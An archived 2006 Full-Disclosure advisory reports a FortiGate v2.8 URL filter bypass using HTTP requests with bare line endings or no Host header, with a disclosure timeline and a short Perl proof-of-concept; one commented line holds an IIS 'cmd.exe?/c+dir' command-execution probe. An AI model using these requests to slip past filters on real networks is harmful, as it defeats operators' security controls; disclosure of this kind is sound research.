full-disclosure - URL filter bypass in Fortinet

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <a4802a9d0602130011v7d08a6e5oda86f46587ad88c3@mail.gmail.com>
Date: Mon Feb 13 08:11:19 2006
From: mdessus at gmail.com (Mathieu Dessus)
Subject: URL filter bypass in Fortinet

URL filter bypass in Fortinet

Severity:          Low
Impact:            Bypass Fortinet web filter
Vulnerabilty type: Design error
Affected products: FortiGate v2.8
CVE reference:     CAN-2005-3058

Vulnerability Description:
-------------------------

It is possible to bypass Fortinet URL blocker by making special HTTP requests:
- if each line of the request is terminated by CR instead of CRLF
- if there's no host field in HTTP/1.0 request

Theses request are "tolerated" by the HTTP RFC 2616, par. 19.3, and most of
the web servers replyes to them, however, Fortinet failed to parse such URLs.

This bug was tested on FortiOS v2.8MR10 and v3beta.
The IPS module is not affected by this vulnerabylity.

Exploit:
-------

See the perl scrip below.

Solution:
--------

No solution available yet.

Vendor Response:
---------------

08/11/2005 The vendor was contacted (using support web site), and a
perl script for reproducting the problem was provided
08/16/2005 The vendor asked for more information
08/18/2005 Network dumps and explanations sent to the vendor
08/25/2005 The vendor said this this was escalated to the dev team.
01/04/2006 Status asked to the vendor.
02/06/2006 The vendor was informed that this information will be
published in 1 week.

Credits:
-------

Discovered by Mathieu Dessus (mdessus(a)gmail.com).

_____________________

Perl script for testing the vuln:

# http_req.pl
#
# Made by (Mathieu Dessus)
#
# Make a filter for /test* URL in the Fortigate and
# remove the # depending on which HTTP request you want to test

use IO::Socket;

$target = '1.2.3.4';

# Detected
$data = "GET /test HTTP/1.1\r
Host: $target\r
Pragma: no-cache\r
Accept: */*\r
\r
";
# Not detected
$data = "GET /test2 HTTP/1.1
Host: $target
Pragma: no-cache
Accept: */*

";

# Not detected
$data = "GET /test3 HTTP/1.0\r\n\r\n";
# Detected
#$data = "GET /test4 HTTP/1.0\r\nHost: $target\r\n\r\n";
# Detected :)
#$data = "GET //c/winnt/system32/cmd.exe?/c+dir HTTP/1.0\n\n";

my $sock = new IO::Socket::INET (
                                  PeerAddr => $target,
                                  PeerPort => '80',
                                  Proto => 'tcp',
                                 );
die "Could not create socket: $!\n" unless $sock;
print $sock $data;
read($sock, $ret, 600);
print($ret."\n");
close($sock);